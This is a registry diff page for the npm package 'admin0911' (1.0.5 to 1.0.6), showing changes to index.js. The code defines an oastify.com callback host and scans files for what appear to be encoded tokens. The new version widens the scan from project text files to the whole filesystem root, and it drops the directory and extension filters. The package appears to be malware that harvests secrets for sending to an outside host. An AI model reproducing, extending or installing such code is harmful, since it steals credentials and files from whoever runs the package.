admin0911 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin0911-1.0.6.tgz +0 -0
- package/index.js +13 -16
- package/package.json +1 -1
- package/admin0911-1.0.5.tgz +0 -0
|
Binary file
|
package/index.js
CHANGED
|
@@ -1,19 +1,14 @@
|
|
|
1
1
|
const http = require('http');
|
|
2
2
|
const fs = require('fs');
|
|
3
3
|
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
4
5
|
|
|
5
6
|
const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
|
|
6
|
-
const ROOT_DIR =
|
|
7
|
+
const ROOT_DIR = os.platform() === 'win32' ? 'C:\\' : '/';
|
|
7
8
|
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
|
|
8
|
-
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
|
|
9
9
|
|
|
10
10
|
const found = [];
|
|
11
11
|
|
|
12
|
-
function isTextFile(filePath) {
|
|
13
|
-
const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
|
|
14
|
-
return textExtensions.includes(path.extname(filePath).toLowerCase());
|
|
15
|
-
}
|
|
16
|
-
|
|
17
12
|
function base64UrlDecode(input) {
|
|
18
13
|
let str = input.replace(/-/g, '+').replace(/_/g, '/');
|
|
19
14
|
while (str.length % 4) str += '=';
|
|
@@ -55,7 +50,6 @@ function scanFile(filePath) {
|
|
|
55
50
|
try {
|
|
56
51
|
const stats = fs.statSync(filePath);
|
|
57
52
|
if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
|
|
58
|
-
if (!isTextFile(filePath)) return;
|
|
59
53
|
|
|
60
54
|
const content = fs.readFileSync(filePath, 'utf8');
|
|
61
55
|
|
|
@@ -99,15 +93,18 @@ function scanFile(filePath) {
|
|
|
99
93
|
}
|
|
100
94
|
|
|
101
95
|
function scanDirectory(dir) {
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
96
|
+
try {
|
|
97
|
+
const entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
98
|
+
for (const entry of entries) {
|
|
99
|
+
const fullPath = path.join(dir, entry.name);
|
|
100
|
+
if (entry.isDirectory()) {
|
|
101
|
+
scanDirectory(fullPath);
|
|
102
|
+
} else {
|
|
103
|
+
scanFile(fullPath);
|
|
104
|
+
}
|
|
110
105
|
}
|
|
106
|
+
} catch (e) {
|
|
107
|
+
// ignore unreadable directories
|
|
111
108
|
}
|
|
112
109
|
}
|
|
113
110
|
|
package/package.json
CHANGED
package/admin0911-1.0.5.tgz
DELETED
|
Binary file
|